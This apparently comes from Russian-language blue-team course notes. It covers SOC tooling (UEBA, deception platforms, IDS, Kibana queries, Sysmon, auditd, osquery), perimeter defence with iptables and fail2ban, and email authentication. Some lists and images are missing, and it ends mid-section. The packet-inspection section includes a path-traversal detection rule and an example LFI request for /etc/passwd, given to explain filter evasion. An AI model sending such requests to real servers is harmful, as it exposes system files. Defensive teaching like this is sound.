Современные системы киберзащиты инфраструктур быстро эволюционируют, развиваются и становятся более комплексными с каждым годом. Происходит не только повышение сложности самих систем, но и постоянная оптимизация процессов защиты в компании. Становится всё труднее определить вектор движения по усилению защиты. Компании проводят пентесты, «редтиминг», сканирование на уязвимости — ищут различные решения, которые помогут как-то оценить текущий уровень защищённости и увидеть слабые места. Рутинность процессов требует автоматизации решений. Данных о прогнозировании потенциальных векторов уже недостаточно, необходим систематический запуск симуляции реальных действий злоумышленника. Решения BAS помогают автоматизировать такую симуляцию, а полученные результаты — увидеть актуальную картину того, каково состояние защиты компании. В контексте SOCa BAS может помочь для выявления собираются ли всех необходимые события аудита систем, для выявления не детектируемых техник и процедур атакующих из матрицы MITRE ATT&CK с последющей разработкой и для проверки корректности работы корреляционных правил выявления атак.

Примеры

UBA/UEBA

User and Entity Behavior Analytics (UEBA, «поведенческий анализ пользователей и сущностей») — технология выявления киберугроз, основанная на анализе поведения пользователей, а также устройств, приложений и иных объектов в информационной системе. Бывают самостоятельные и в виде модуля SIEM. 

Подозрительное действие пользователя (User в User Behavior Analysis) и сущность (Entity в UEBA; чаще всего это хост), приводит к добавлению баллов. После уровня создаётся подозрение на инцидент или аналитик сам следит за ТОП подозрительных пользователей. «Репутация» обнуляется со временем. Например, сумма баллов уменьшается на фиксированную величину или процент каждый час. Работа с такими данными не отличается от стандартных подозрений на инциденты.

Основные компоненты UEBA

Результат использования U(E)BA — выявление угроз методами с высоким уровнем ложных срабатываний(false-positive) или методами, для которых невозможно создать и поддерживать простой алгоритм без ущерба для качества обнаружения инцидентов.

DDP

Distributed Deception Platform(«платформа с распределенными ловушками») - сокрытие реальных объектов инфраструктуры компании, запутывания атакующих и направления их «по ложному следу». Также используют Deception-платформы для проактивного поиска киберугроз, заманивая атакующих в контролируемую среду и позволяя им «украсть» поддельные данные (приманки), движение которых можно будет затем отследить: например, позволив атакующим «украсть» специально созданные тестовые учетные данные, можно будет затем отследить попытки их применения или публикации и сделать соответствующие выводы. Таким образом, Deception-платформы могут дополнять другие методы обнаружения атак (сигнатурные и на основании выявления аномалий) и предоставлять команде SOC ценную информацию для выявления скрытой вредоносной активности.

Deception-решения позволяют автоматизированно «раскидать» приманки по инфраструктуре компании, анализировать действия, выполняемые атакующими, контролировать их перемещение между приманками. В отличие от классических Honeypot/Honeynet-технологий, Deception-системы позволяют автоматизировать создание и контроль приманок, направлять по ложному следу атакующих, обеспечивать проактивный поиск и анализ киберугроз. Таким образом классический Honeypot является частью системы Distributed Deception Platform. Приманки могут представлять из себя

Внедрение Deception-решения оправдано для зрелых команд SOC, осознающих риски и сложности: от необходимости настройки Deception-инфраструктуры до возможности захвата Deception-инфраструктуры атакующими и использования ее в качестве плацдарма для дальнейших атак на компанию. Перед внедрением Deception-платформы следует убедиться в общей зрелости и готовности команд SOC к разумному использованию Deception-решения, выделить соответствующие ресурсы, разработать правила работы с обнаруженными атаками (например, порядок принятия решений о дальнейшем мониторинге действий атакующих или блокировании их действий).

DDP решение для SOCа будет хорошим дополнением для выявления сложных атак, которые тяжеловато выявить обычными корреляционными правилам, такие как например Kerberoasting. Из open-source решений DDP можно рассмотреть Dejavu.

IDS/IPS

Анализирует копию трафика (Detection в Intrusion Detection Systems) или блокирует вредоносную активность (Prevention). Обычно гибридный режим. Аналог антивируса для сети. Метод обнаружения - сигнатуры, от обновления которых зависит эффективность работы системы.

Системы IDS делят по месту установки и принципу действия.

По месту установки

По принципу действия

Основные решения IDS/IPS

Пример схемы СЗИ

image.png

Blue team

SIEM (ElasticSearch)

Компоненты

ElasticSearch Серверная часть - бэкенд обработки данных
Агенты На клиентах, агрегируют и отправляют данные 
Kibana Визуализация данных ElasticSearch, возможно на отдельном сервере. Серьезные проблемы с получением интеграций, нужно отдельно скачивать + EPR (пакетный менеджер)
Fleet Бэкенд для управления агентами, фронт через kibana. Управление через политики.

ELK-запросы. KQL

Для составления запросов в Kibana используется KQL(Kibana Query Language). Подробнее по ссылке.

Рассмотрим основной интерфейс вкладки Discover в Kibana:

  1. Окно выбора временного периода для ограничения поиска.
  2. Выбор индекса с данными. Данные с различных источников могут иметь разный формат и записываться в разные индексы(базы). 
  3. Строка запросов KQL.
  4. Доступные в текущем поиске поля данных.
  5. Результаты поиска. 

Выбор времени и индекса

Выбирается абсолютный /относительный диапазоны времени. Список доступных индексов находится в левой части экрана. 

Поля с данными

После выполнения запроса в левой части экрана Kibana покажет доступные в результатах поиска поля данных, например такие как имя агента, IP и прочие. Имена полей можно искать с помощью строки поиска, если кликнуть на поле, Kibana покажет статистику.

Для удобной работы с чтением логов имеет смысл выбрать интересующие специалиста поля для отображения в результатах поиска(5). Для выбора необходимо нажать на символ (+) рядом с именем поля. Поле timestamp выбрано по умолчанию.

Результаты поиска с выбранными полями host.ip, host.name, host.os.family и message. Полученный вид можно сохранить для дальнейшего использования нажав кнопку "Save" в правом верхнем углу экрана.

Это очень удобно для работы с разными наборами данных, например, для изучения сетевого трафика имеет смысл выбрать поля связанные с src/dst портами, IP/MAC адресами и протоколами, для изучения логов веб-сервера добавить url, http response code, XFF, user-agent, для изучения поведения процессов - command line, process.pid, process.parent.pid, user, итд. 

Примечание: по умолчанию Kibana показывает 500 последних документов в результатах поиска.

KQL.

KQL использует логические операторы и ключевые слова для составления запроса. Также в запросе можно фильтровать результаты по полям. Например, запрос message: error будет искать ключевое слово error в поле message. 

Оператор (:) обозначает,  что мы ищем полное совпадение ключевого слова "error" среди текста в поле message. 

Если мы попробуем найти неполное совпадение, например message:err , то результат поиска будет пустым. Для поиска частичного совпадения можно использовать символ (*),  message:err* . Помимо поиска совпадений в KQL также доступны операторы <,>, >=, <= и логические AND, NOT, OR. Рассмотрим следующий пример:

(host.name: web*)   AND (NOT http.response.status_code: 200) AND  (http.response.status_code: *)

В данном примере мы ищем результаты которые содержат http.response.status_code и где http.response.status_code не равняется 200 на машинах с именем начинающимся на web.

http.response.status_code оказался в запросе дважды, поскольку в результаты запроса

(NOT http.response.status_code:200)попадут все данные, в которых поле http.response.status_code не существует в принципе.  Чтобы это исправить, мы ищем данные, где это поле имеется (http.response.status_code: *) и сужаем фильтр до результатов, где значение поля не равняется 200. 

Blue team

Системы аудита и внешний периметр

Системы аудита

Настройка Sysmon

1. Скачиваем Sysmon с официального сайта: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

2. Готовим  файл конфигурации или берем готовый:

https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml

Распаковываем архив, копируем файл конфига. 

3. Открываем командную строку Powershell от имени администратора и запускаем команду:

.\Sysmon64.exe -i .\sysmonconfig-export.xml -accepteula

Ключ -i(install) отвечает за установку, опционально указывается файл конфигурации, а ключ -accepteula автоматически принимает лицензионное соглашение, что удобно при установке Sysmon через GPO, ansible или другие способы автоматизации.

4. Проверяем наличие логов.

Откроем остнастку mmc для просмотра событий системы:

PS>  eventvwr.msc

Перейдем в раздел "Журналы приложений и служб" -> Microsoft -> Windows -> Sysmon -> Operational и убедимся, что события, описанные в файле конфигурации записываются.

Стандартная конфигурация Sysmon

Давайте разберем мониторинг событий с помощью Sysmon в ОС Windows. Мы будем рассматривать конфиг Sysmon на примере популярного: https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml.

При желании, можно присмотреться в дальнейшем и к этому конфигурационному файлу: https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml.

Конфигурация Sysmon описывается в формате XML и указывается при запуске программы. 

Пропустим стандартное описание XML-схемы и начнем с разбора групп и правил.

Мы видим описание группы, в которой будет логироваться любое из описанных в группе событий. 

GroupRelation ="and" в свою очередь будет записывать только те события, котрые попадают под все фильтры в группе.

Итак, внутри группы правил мы видим описание правил ProcessCreate. Эти правила будут создавать события с eventID=1 при создании системой процесса. Ключ onmatch говорит, что делать, в случае если совпало какое-либо условие. В данном примере, в случае совпадения, событие не будет записано (onmatch = exclude). То есть, в системный журнал Sysmon будут записаны все события о создании процессов кроме тех, которые указаны в нашей группе.  Грубо говоря, мы исключаем неинтересные и часто создаваемые процессы, чтобы уменьшить количество записей в журнале. 

Давайте разберем часто встречающиеся фильтры:

Возможные условия:

Следующая группа мониторит изменение временной метки создания файлов(Sysmon eventID=2). В данном случае мы видим onmatch = include, то есть будут записаны только те события, которые описаны в этой группе, а именно: изменение файлов в каталоге "C:\Users", изменения .exe файлов, и HarddiskVolumeShadowCopy.

Дальше мы видим группу для мониторинга сетевых соединений(Sysmon eventID=3). Как и в случае с файлами, система постоянно инициирует огромное количество сетевых соединений, поэтому мы будем отслеживать только те соединения, которые описаны в этой группе. 

События, описанные в этой группе могут фильтроваться по имени исполняемого файла(Image), по IP/FQDN, либо по портам.

Исключение мониторинга событий коннектов к microsoft.com.

Отслеживание подключений по портам 22,23,143,3389.

Поскольку onmatch="exclude" и список пустой будут записываться все события окончания работы процесса(Sysmon eventID=5).

Sysmon eventID=7, загрузка библиотеки процессом. Очень "шумное" правило, следует использовать с крайней осторожностью, чтобы не перегрузить систему. В нашем примере правило выключено(onmatch="include" и пустой список.

Sysmon eventID=8, создание удаленного потока. Помогает отслеживать process injection, когда один процесс запускает свой код в области памяти другого процесса. 

 Sysmon eventID=9(RAW DISK ACCESS, прямой доступ к диску) и Sysmon eventID=10 (INTER-PROCESS ACCESS, доступ одного процесса к другому) как правило исключаются из мониторинга по причине большого количества событий и их малой полезности. 

 Sysmon eventID=11 отвечает за создание файлов. Крайне полезное правило, но опять же, очень "шумное". На скриншоте выше мы видим условия, отслеживающие создание файлов в каталоге "Downloads", файлов с определенными расширениями(.bat, .cmd и т.д.) и файлов в меню "Пуск" и автозагрузке. 

События Sysmon eventID=12,13,14 описывают изменения в реестре Windows:

На примере выше мы видим правило мониторинга веток Run, отвечающих за автозапуск при старте системы. 

Sysmon eventID=22 позволяет логировать все DNS-запросы. Эти события могут быть крайне полезными, однако система генерирует огромное количество DNS-запросов каждую секунду. 

Начиная с версии 14 Sysmon умеет блокировать исполняемые файлы по хэшу.

Настройка auditd

1. Установим auditd на ОС Ubuntu:

apt install auditd

2. Подготовим или скачаем готовый файл конфигурации:

# wget https://raw.githubusercontent.com/Neo23x0/auditd/master/audit.rules

3. Скопируем файл с правилами в каталог /etc/audit/rules.d:

# mv audit.rules /etc/audit/rules.d/audit.rules

4. Загрузим правила командой:

augenrules --load

5. Убедимся, что правила добавились с помощью команды: 

auditctl -l

6. И проверим, что демон auditd записывает события:

tail /var/log/audit/audit.log

Настройка OSquery

Мы будем использовать OSquery в составе elastic agent. Хотя OSquery можно установить отдельно, интеграция с ELK дает хорошую масштабируемость, позволяя запускать запросы сразу на множестве агентов одновременно. Для работы OSQuery необходим настроенный Fleet server (см. тему 6.2).

Перейдем в раздел Management  -> OSQuery.

Нам предложат добавить интеграцию Osquery в имеющуюся политику Fleet Server.  Выберем используемую на агентах политику и нажмем "Save and continue".

После того как политика обновится на агентах, можно начинать пользоваться Osquery. Для этого перейдем в раздел Management  -> OSQuery -> Live queries и нажмем на "New live query". 

Выберем агент(один или несколько), на котором выполним тестовый запрос OSQuery:

SELECT  u.username,  u.directory,  u.uuid,  g.groupname,  g.group_sid,  u.type  FROM users AS u  JOIN groups AS g USING(gid);

 Ниже несколько полезных ресурсов с практическими рекомендациями по OSQuery:

1. https://speakerdeck.com/will03/practical-threat-hunting-with-osquery

2. https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/

3. https://osquery.readthedocs.io/en/latest/

Защита внешнего периметра

DDoS атаки

У крупных компаний со своей AS есть возможность построить BGP peering с ISP, предоставляющим услуги защиты от DDoS. В обычное время этот дополнительный канал никак не используется, и у компании используются ее основные ISP. А во время атаки основные каналы "отключаются" и весь трафик заходит только от ISP оказывающие услуги фильтрации. 

Атака на канал
Шаг 1

Коммуникация с ISP с целью ограничения пропускной полосы для протоколов, подверженным Amplification атакам, например 53 (dns), 11211 (memcache), 123 (ntp). Полный перечень протоколов можно изучить тут. Не используемые протоколы можно вообще заблокировать, на оставшиеся установить лимит. Однако, стоит понимать, что если выставить лимиты на UDP, где source port 53 - то под это правило попадут и ответы на DNS запросы, которые исходят, например, из вашего офиса. Т.е. канал и внешние сервисы вы спасете, но работа офиса в Интернете в этот момент может быть затруднена. 

Шаг 2

Если вы недостаточно крупный клиент для вашего ISP, для компаний не обладающим свой IP подсетью, которой он может свободно распоряжаться в плане маршрутизации, решение может быть чуть более "интересным". Во-первых, подумайте о возможном размещении своих сервисов в облаках. В этом случае, защитой канала от крупных атак будет уже озадачен непосредственно облачный провайдер, вам же останется решать вопросы защиты только от атак на L7.

Шаг 3

Если по какой-то причине перенести свои сервисы полностью вы не можете, то небольшой шанс остаться защищенным все еще есть — не светите свой настоящий IP в интернете. Нигде. Никакая DNS запись не должна вести на ваш настоящий IP адрес, даже в истории DNS, которую можно найти в открытом доступе в интернете. А ваши офисные сотрудники должны выходить в интернет через NAT IP не имеющим отношения к вашим сервисам. Идея защиты заключается в том, что услугами облачной инфраструктуры мы воспользуемся только с целью проксирования трафика (L3/4).

Проблемой в использовании прокси все еще может стать величина вашего собственного канала в офисе. Если он 1Гбитс, и вас атакуют ровно на эту величину, то лимиты облачного провайдера могут не сработать, и защищаться вам все еще потребуется самостоятельно.

Пример проксирования с помощью iptables 

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -I INPUT -p udp -m udp --dport 123 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 123 -j DNAT --to-destination <IP-GOES-HERE>:123
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

Шаг 4.1 (TCP)

Для защиты TCP-трафика используем возможности iptables на уровне нашего прокси сервера в облаке. Однако применять фильтры требуется не в FORWARD chian'е в связке с стандартной таблицей "filter", а в PREROUTING chain'е в связке с таблицей "mangle". Это очень сильно снизит нагрузку на вычислительные ресурсы прокси-сервера. Конкретные конструкции по защите от DDoS с помощью iptables можно найти здесь. 

Шаг 4.2 (UDP)

Если вы публикуете UDP сервисы (например телефония), то для проксирования и блокировок возможно так же продолжать использовать iptables. Однако сложность SIP трафика заключается в том, что он использует динамические порты. В таком случае потребуется блокировать непосредственно UDP сервисы, подверженные усилению (53, 123, 389, 11211 и т.п.), а также попробовать максимально сузить диапазон динамически выделяемых портов (например 40000-45000) и разрешить пропускать только их.

Шаг 5

Если вы решитесь на такую необычную конфигурацию, располагая прокси сервер в облаке, следует иметь ввиду, что весь трафик вы теперь будете получать только с этого единственного IP адреса. Его и следует разрешить на сетевом оборудовании вашей собственной инфраструктуры, а все остальные прямые подключения запретить.

Однако, перед вами может встать вопрос прозрачности логов. Теперь весь интернет-трафик к вам будет приходить из единственного источника и возможно какая то аналитика, основанная на IP адресах клиентах нарушится. Для веб-приложения, с целью сохранения IP адресов клиентов в логах на уровне прокси стоит воспользоваться Nginx. Проставляя дополнительный заголовок X-Forwarder-For вы сможете сохранить информацию о настоящем IP источника.

Ограничиваем доступ по IP-адресам

Основываясь на гео IP баз данных, можно разработать автоматизацию, которая 1 раз в день будет обновлять правила iptables либо ACL на вашем сетевом оборудовании и разрешать доступ только из RU региона.

Такая конфигурация отлично работала бы со связкой облачного L3/4-прокси, где на самом прокси вы реализуете доступность по IP гео региона, а на стороне офиса, где непосредственно развернуты сервисы, разрешен входящий трафик только с IP адреса этого прокси сервера.

Интересный реальный пример из жизни, из сферы госзаказов: государственная больница, в одном из многочисленных регионов РФ, имеет множество филиалов, маленьких офисов. Технологический прогресс идет и связью надо оснастить каждый, даже самый маленький филиал, дать возможность даже в самой глубинке пользоваться централизованными сервисами. Организация VPN сети остается на стороне медицинского учреждения, а вот контракты и сами каналы связи предоставляют "сверху", в каждую глубинку идет белый IP адрес. Зачем?

Там, где нет сервисов, нет причины использовать белые IP. Любая неверная конфигурация сетевого оборудования, слабый пароль, использование старых версий прошивки — все это лишний риск ИБ и ИТ специалистам. Даже межофисный VPN легко справляется с подключениями из-за NAT.

Конечно, идеальный сценарий, когда вы знаете конкретные IP адреса клиентов того или иного сервиса и разрешаете доступ только с этих источников, блокируя все остальные. Зачастую это, к сожалению, невозможно. Да и нужды бизнеса могут диктовать необходимость быть открытым всему миру. Однако, и для такого сценария есть рекомендации:

Примеры автоматизаций
iptables: https://github.com/trick77/ipset-blacklist;
CiscoASA: https://gist.github.com/RaceFPV/6f67e7cf4a99dfa3d473de5da325bb0f;
MikroTick: https://github.com/pwlgrzs/Mikrotik-Blacklist.

Помните, что примеры с github лишь примеры. Всегда проверяйте на содержимое скрипты, скаченные из интернета. Стоит так же учитывать, что из-за уникальности вашей собственной инфраструктуры они могут не работать как есть, и может потребоваться доработка.

Ограничиваем по IP в динамике (fail2ban)

В условиях, когда мы не можем заранее предоставить доступ только для доверенных IP, а ожидание обновления репутационных баз может стоить нам драгоценного времени, fail2ban приходит на помощь! Это очень мощный инструмент, который управляет динамическими списками iptables, следуя заранее заданной логике, которую можете создавать вы сами.

Есть множество стандартных профайлов, идущих в комплекте с приложением, которые, например, будут блокировать на 30 минут ip адрес, с которого было совершено 5 неудачных попыток подключения к ssh за последние 10 минут. Такие события логируются в файле /var/log/secure. Т.е. если есть необходимость разработать кастомный профайл — лог файл, это минимальное требование.

Из коробки доступен анализ логов множества приложений, таких как sshd, asterisk, apache, phpmyadmin и другие. Давайте попробуем создать свой собственный темплейт для OpenVPN.

1. Создаем файл /etc/fail2ban/filter.d/openvpn.conf со следующим конфигом: 

[INCLUDES]
before = common.conf

[Definition] 
_daemon = ovpn-server
failregex =%(__prefix_line)s<HOST>:[0-9]{4,5} TLS Auth Error:.*
           %(__prefix_line)s<HOST>:[0-9]{4,5} VERIFY ERROR:.*
           %(__prefix_line)s<HOST>:[0-9]{4,5} TLS Error: TLS handshake failed.*
           %(__prefix_line)sTLS Error: cannot locate HMAC in incoming packet from \[AF_INET\]<HOST>:[0-9]{4,5}
maxlines = 1

2. Создаем файл /etc/fail2ban/jail.d/openvpn.conf со следущим конфигом: 

[openvpn]
enabled  = true
port     = 1194   ; Change this if your OpenVPN is using a different port
protocol = udp
filter   = openvpn
logpath  = /var/log/openvpn.log  ; Change this if your OpenVPN log path is different
maxretry = 3

3. Рестарт службы: 

systemctl restart fail2ban

Условие поиска событий в логе задаем мы. Т.е. fail2ban может быть не только инструментом борьбы против брутфорса, но, например, и от перебора существующих каталогов и страниц на сайте. Если количество строк в логах с кодом ответа 404 превышает, например, 100 за 10 минут — IP в блокировку. Но стоит быть уверенным, что нет ошибок на стороне кода веб-приложения и нет ссылок на несуществующие элементы.

Мы могли бы подсчитывать даже количество валидных GET/POST запросов (код ответа 200). Однако, тут надо быть осторожным, т.к. есть риск заблокировать и настоящих пользователей, которые просто сидят за одним NAT IP адресом в сети большого оператора связи. Важно понимать, что источником данных для принятия решений может быть лог файл любого приложения — и vpn сервер, и почтовый сервер, и сервер телефонии и многие другие.

Глубокая инспекция трафика

Когда блокировка IP адреса недопустима из-за риска блокировать настоящих пользователей, остается принимать решение о блокировке каждого отдельного пакета или веб-запроса.

С одной стороны, к нам на помощь может вновь прийти iptables. Даже, если речь идет о веб-приложении, где весь трафик шифруется (HTTPS), то в связке nginx + apache декрипт проходит на уровне nginx, а apache хостится на localhost (127.0.0.1), т.е. правило iptables может быть применено на этом интерфейсе.

Пример правила iptables с блокировкой, основанной на контенте ТСР пакета: 

iptables -A INPUT -p tcp --dport 8080 -m string --algo kmp --string "../../../../" -j DROP
iptables -A INPUT -p tcp --dport 10556 -m string --algo kmp --hex-string "|3e0000|" -j DROP

Очень важное замечание было сделано в первом абзаце данной главы: "пакета или веб-запроса". Если у нас используется система, которая анализирует каждый отдельный пакет, как в разобранном выше примере iptables, то он с легкостью пропустит веб-запрос, содержащий попытку LFI типа GET /script.php?page=../../../../../../../../etc/passwd, если злоумышленник разобьет его на несколько TCP пакетов, в пейлоде которых будет содержаться только один символ. Клиент отправляет 100 пакетов по одному символу, наш фильтр это пропускает, а сервер, используя заложенные алгоритмы в протокол ТСР восстанавливает запрос целиком, и готов "ответить" злоумышленнику.

Из-за описанных выше особенностей для гарантированной защиты наших приложений нам потребуются инструментарии типа WAF (для веб-приложений) и IPS (для любых других). Они собирают ТСР сессию целиком и только потом принимают решение о блокировке. В третьем видео темы "2.6 Противодействие на периметре" мы описывали особенности работы WAF и быструю установку одного из бесплатных решений. Работа с популярные IPS/IDS такими, как Suricata и Snort была также описана в уроке "2.5 Анализ логов сетевых средств защиты (WAF / NGFW / IDS)".

Крайне редко в своей практике я встречал IPS развернутые в Prevent mode, с целью защиты внешних сервисов. Уж очень большой риск влияния на работу сервиса из-за задержек в анализе, ведь он, кроме того, крайне требователен к ресурсам железа. Поэтому чаще их все-таки ставят сбоку, отливают для анализа копию трафика и это уже получается IDS (Detect mode). Но о том, что такая возможность защиты внешних сервисов существует стоит иметь ввиду.

Hardening сервисов

"hardening" - "укрепление" сервера с точки зрения ИБ. 

Например, представьте, что вы используете WordPress CMS на вашем сайте, он хорошо позиционировал в сети, закрыт WAF'ом. Но, к сожалению, уязвимости в нем самом и его модулях обнаруживаются постоянно. И вот, появился очередной "0-day", который начинает активно использоваться злоумышленниками. WAF — не 100% гарант , и в нашем примере он не смог защитить ваш сайт, ваш сервер и злоумышленник реализует RCE (удаленное исполнение кода) на вашем сервере...

Рекомендуют включить и настроить SELinux. Он способен ограничить пользователя www-data, из-под которого работает наш сайт, и не дать ему возможность исполнять код на системе, а лишь читать файлы, что лежат в /var/www/html.

Стандарты помогут вам проверить каждый хост, каждую систему в отдельности, не забыли ли вы чего настроить. Самым распространенным является CIS Benchmark'и. CIS (Center for Internet Security) опубликовал стандарты для множества различных систем:

Кроме стандартов в интернете можно найти и различные автоматизации по их применению и проверке.

Интересную коллекцию подобных автоматизаций вы можете найти по ссылке.

Альтернативы CIS Benchmark

CIS хоть и является дефакто стандартом и самым популярным источником фреймворков, но не всегда в их коллекции можно найти интересующую нас технологию. На помощь, как обычно приходит Google. Будем искать, желательно на официальных сайтах, "hardening" или "best practice" под необходимый продукт. Например:

рекомендации на MikroTik: https://mum.mikrotik.com/presentations/KH17/presentation_4162_1493374113.pdf
рекомендации на OpenVPN: https://openvpn.net/community-resources/hardening-openvpn-security/
рекомендации на Zabbix: https://www.zabbix.com/documentation/current/en/manual/installation/requirements/best_practices

Blue team

Email и облака

Почта

Защита доменного имени (SPF, DKIM, DMARC)

SPF (Sender Policy Framework) — это TXT DNS запись, в которой следует указать IP-адреса и доверенных партнеров, которые авторизованы (имеют право) отправлять электронную почту из вашего домена, т.е. от "вашего имени". Принимающие почтовые сервера, могут сверить источник пришедшего письма (домен и IP) с соответствующей DNS записью в вашем домене, прежде чем перенаправить его в почтовый ящик получателя.

Пример SPF записи: 

» dig txt ptsecurity.ru                                  
...
ptsecurity.ru.        600    IN    TXT    "v=spf1 redirect=_spf.ptsecurity.com"
...

В записи участвует флаг redirect, который перенаправляет нас на сабдомен, давайте проверим его: 

» dig txt _spf.ptsecurity.com                    
...
_spf.ptsecurity.com.    3600    IN    TXT    "v=spf1 ip4:178.238.126.136 ip4:178.238.126.137 ip4:195.133.251.200 ip4:195.133.251.201 ip4:31.44.93.58 ip4:81.27.243.31 ip4:81.27.243.54 ip4:195.133.251.208 ip4:178.238.126.134 mx -all"
...

v=spf1 — сообщает, что TXT запись содержит информацию, относящуюся непосредственно к SPF.

ipv4 (ipv6) — содержит список IP адресов и сетей, с которых дозволено отправлять письма.

mx — указывает на то, что серверам, указанным в MX DNS записи, так же разрешено отправлять письма. Определить MX запись можно так: dig mx ptsecurity.ru

-all сообщает серверу, что адреса, не указанные в записи SPF, не имеют права отправлять электронную почту и должны быть отклонены. Альтернативные варианты: ~all, который означает, что электронные письма, не включенные в список, будут помечены как небезопасные или спам, но все равно будут приняты, и, реже, +all, который означает, что любой сервер может отправлять электронные письма от имени вашего домена.

Еще один флаг, отсутствующий в примере include, который сообщает серверу, какие сторонние организации имеют право отправлять электронные письма от имени домена.

DKIM (DomainKeys Identified Mail) — это метод аутентификации вашего домена с помощью цифровых подписей. Соответственно, имеется две части ключа: открытая и закрытая. Закрытая часть храниться на сервере, в конфигурационных файлах вашего почтового сервиса (приложения). Открытая часть прописывается в DNS  запись. Давайте попробуем ее найти. В одном из писем рекламной рассылки Positive Security можно найти вот такие строки: 

DKIM-Signature: v=1;
 a=rsa-sha256;
 s=mindbox;
 d=email.ptsecurity.com;
 c=relaxed/relaxed;
 q=dns/txt;
 h=From:To:Subject;
 bh=x8CUMA+LBpmKFgUhm7dPgNlLQbe1ZHbqIOzByiP5Zzg=;
 b=E854evyPVTWgRO028yDTZEn2ZImhgJ6GHzsB4O25+MP7jsxqXk/9hs1vUDdEmyTBklxBgqzsi0V9EPz6vopgRQt8EU4poAK4WBhYg8sHHna7jrPgLMMrV5q6gkIZgAVy4otrG2YHt2+vtb6R+CJrapbQvj69vj8E0J2kBA5kims=

v= — показывает, какая версия DKIM используется.
d= — доменное имя отправителя.
s= — это "селектор", который принимающий сервер должен использовать для поиска записи DNS.
h= — перечисляет поля заголовка, которые используются для создания цифровой подписи. В этом случае используются заголовки from, to и subject. Если бы Боб отправил электронное письмо Алисе, используя домен example.com, и в теме письма было бы «Рецепт каши», то здесь будет использовано следующее содержимое: "«bob@example.com» + «alice@example.com» + «Рецепт каши»".
bh= — это хеш тела письма.
a= — это алгоритм, используемый для вычисления цифровой подписи (b), а также для генерации хэша тела электронного письма (bh).
b= — цифровая подпись, сгенерированная из h и bh и подписанная закрытым ключом.

Для валидации сервер-получатель должен найти открытую часть ключа, для этого "селектор" и требуется: 

» dig txt mindbox._domainkey.email.ptsecurity.com
...
mindbox._domainkey.email.ptsecurity.com. 3600 IN TXT "k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdyc8nf+xcoG7tOJUTXlysqykbPoshtsr1UGkG9D/yOAXlLicMP6khlj8B+34HDnpCMJEQgd/2PxlD47OHeo9Czx+1Lz6rX02CI4ocntmX41ysZO4Qk8FVGXZCWFwi64wtiUaw4zqYbAVb/oRxnSfBAMatl2y+TcpKdNMl6IQeqQIDAQAB"
...

DMARC (Domain-based Message Authentication Reporting and Conformance) — это политика, сообщающая получающему почтовому серверу, что делать после проверки записей SPF и DKIM. Получатель на своей стороне может иметь различные спам правила, основанные на SPF и DKIM, отправитель не имеет над ними контроля. Политика DMARC же дает отправителю контролировать поведение спам фильтра на принимающей стороне. 

» dig txt _dmarc.email.ptsecurity.com
...
_dmarc.email.ptsecurity.com. 3600 IN    TXT    "v=DMARC1; p=reject;"
...

v=DMARC1 — указывает, что эта запись TXT содержит политику DMARC и должна интерпретироваться как таковая серверами электронной почты.
p=reject — указывает, что почтовые серверы должны «блокировать» электронные письма, не прошедшие проверку DKIM и SPF, считая их потенциально спамом. Другие возможные настройки для этого включают p=none, который позволяет письмам, не прошедшим проверки быть доставленными, и p=quarantine, который предписывает серверам электронной почты отправлять письма в Спам.

Вы так же можете добавить параметр rua=mailto:example@third-party-example.com;, на указанный адрес будут приходить репорты о результатах работы вашей DMARC политики. Возможно, таким образом вы получите возможность вычислить, если ваше доменное имя используется в нелегетимных рассылках.

Когда вами сконфигурированы все три параметра — ваш домен защищен. Шанс успешного использования вашего доброго имени для спам-рассылок становится крайне низок. Только если получатель писем готов быть обманутым и никак не проверяет входящую почту. 

Защита входящей почты от спама и вирусов

OpenSource проект Rspamd. Он будет проверять SPF, DKIM и DMARC

Интересный функционал проверки на то, как хорошо настроен ваш домен и сервер предоставляет портал https://www.mail-tester.com/. Примерно таким же образом работает и Rspamd — на каждое отклонение от общепринятых правил выставляет баллы. При достижении лимита письмо блокируется.

Кроме фильтрации спам сообщений, у Rspamd есть интересные интеграции, которые так же могут влиять на рейтинг передаваемого сообщения, проставляя флаг VIRUS_FOUND=2000:

olefy — анализирует содержимое макросов;
ClamAV — сигнатурная проверка вложенных файлов на вирусы.
Базы данных ClamAV по умолчанию не имеют высокого уровня обнаружения, но их можно улучшить с помощью бесплатных или платных баз данных сигнатур SecurityInfo. Потребуется регистрация, после которой вы сможете использовать их с одного IP адреса.

OpenSource проект MailCow. Это докеризированное приложение, которое уже включает в себя все необходимые компоненты как для работы самой почты, так и для осуществления ее защиты.

Hardening Postfix

При отправке, сообщение уходит в компонент почтового сервера, обрабатывающий именно исходящие сообщения.

Postfix — это распространенный программный компонент на серверах для отправки электронной почты. Он имеет множество опций конфигурации, в том числе для повышения собственной безопасности. Мы разберем его безопасную настройку в качестве примера одного из ключевых компонентов.

Для начала, давайте разберем, какие угрозы существуют:

Использование вашего SMTP сервера для рассылки спам сообщений. Такой мисконфиг известен как Open Relay. Если вы его допустили, то ваш IP быстро попадет в различные репутационные списки и ваши собственные пользователи будут испытывать трудности с доставкой почты.

Поиск существующих пользователей Open relay

Интересно, что "опасности" у этой уязвимости на самом деле две: внешняя и внутренняя. Внешнюю можно проверить на портале https://mxtoolbox.com/diagnostic.aspx. Но даже, если она у вас имеется, вас скорей всего сможет защитить Rspmad. Т.е. до Postfix'а присланное из вне сообщение даже не дойдет.

